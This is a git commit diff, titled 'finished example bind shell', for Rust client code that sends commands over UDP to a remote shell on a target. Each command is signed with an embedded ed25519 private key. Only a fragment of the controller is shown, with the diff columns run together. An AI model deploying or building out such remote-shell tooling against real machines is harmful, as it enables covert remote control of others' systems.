fix: finished example bind shell

This commit is contained in:
Andrew Rioux 2023-04-28 18:18:50 -04:00
parent 50bca92194
commit 82dd4acd6b

View File

@ -1,11 +1,14 @@
use std::{io::prelude::*, net::UdpSocket, thread}; use std::{io::prelude::*, net::UdpSocket, thread};
use anyhow::anyhow; use ed25519_dalek::{Keypair, Signer};
use anyhow::{anyhow, Context};
const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
const PRIVKEY: &[u8] = include_bytes!("../../key-generator/privkey"); const PRIVKEY: &[u8] = include_bytes!("../../key-generator/privkey");
fn main() -> anyhow::Result<()> { fn main() -> anyhow::Result<()> {
let privkey = let privkey = Keypair::from_bytes(&[PRIVKEY, PUBKEY].concat())
.context("could not parse generated private key")?;
let mut stdout = std::io::stdout(); let mut stdout = std::io::stdout();
let mut stderr = std::io::stderr(); let mut stderr = std::io::stderr();
@ -46,7 +49,10 @@ fn main() -> anyhow::Result<()> {
break; break;
} }
let Ok(_) = remote_stdin.send_to(cmd.as_bytes(), &target) else { let signature = privkey.sign(cmd.as_bytes()).to_bytes();
let msg = &[&signature, cmd.as_bytes()].concat();
let Ok(_) = remote_stdin.send_to(msg, &target) else {
continue; continue;
}; };
} }